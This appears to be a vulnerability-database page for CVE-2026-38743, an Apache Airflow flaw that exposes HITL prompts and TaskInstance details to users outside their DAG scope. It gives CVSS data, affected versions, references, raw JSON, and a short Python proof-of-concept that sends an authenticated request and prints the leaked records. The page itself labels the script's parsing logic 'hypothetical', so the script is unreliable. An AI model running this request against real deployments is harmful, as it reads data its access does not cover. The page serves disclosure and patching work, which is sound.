Security Vulnerability Report
中文
CVE-2026-38743 CVSS 4.3 MEDIUM

CVE-2026-38743

Published: 2026-04-24 13:16:21
Last Modified: 2026-04-27 12:24:28

Description

The authenticated /ui/dags endpoint did not enforce per-DAG access control on embedded Human-in-the-Loop (HITL) and TaskInstance records: a logged-in Airflow user with read access to at least one DAG could retrieve HITL prompts (including their request parameters) and full TaskInstance details for DAGs outside their authorized scope. Because HITL prompts and TaskInstance fields routinely carry operator parameters and free-form context attached to a task, the leak widens visibility of DAG-run data beyond the intended per-DAG RBAC boundary for every authenticated user. Users are recommended to upgrade to version 3.2.1 , which fixes this issue.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* - VULNERABLE
Apache Airflow < 3.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Apache Airflow CVE-2026-38743 PoC # Description: Retrieves unauthorized HITL and TaskInstance details via /ui/dags target = "http://localhost:8080" endpoint = "/ui/dags" # Valid session cookie for a user with read access to at least one DAG session_cookie = "session=.eJwlkk..." headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: # Send authenticated GET request response = requests.get(target + endpoint, headers=headers) if response.status_code == 200: data = response.json() print("[+] Request successful. Parsing response for leaked data...") # Hypothetical parsing logic based on vulnerability description # The response contains HITL and TaskInstance data for DAGs the user shouldn't see for dag in data.get('dags', []): dag_id = dag.get('dag_id') # Check for leaked task instances or HITL prompts if 'task_instances' in dag: print(f"[!] Leaked TaskInstance found in DAG: {dag_id}") print(f" Details: {dag['task_instances']}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38743", "sourceIdentifier": "[email protected]", "published": "2026-04-24T13:16:21.110", "lastModified": "2026-04-27T12:24:28.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The authenticated /ui/dags endpoint did not enforce per-DAG access control on embedded Human-in-the-Loop (HITL) and TaskInstance records: a logged-in Airflow user with read access to at least one DAG could retrieve HITL prompts (including their request parameters) and full TaskInstance details for DAGs outside their authorized scope. Because HITL prompts and TaskInstance fields routinely carry operator parameters and free-form context attached to a task, the leak widens visibility of DAG-run data beyond the intended per-DAG RBAC boundary for every authenticated user.\n\nUsers are recommended to upgrade to version 3.2.1 , which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1220"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.1", "matchCriteriaId": "EF856E9C-C3C2-44F3-B2B4-0DD0791C512C"}]}]}], "references": [{"url": "https://github.com/apache/airflow/pull/64822", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://lists.apache.org/thread/sk2wj0x48o8qb4p7c47gvnhjbm0mg396", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/24/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}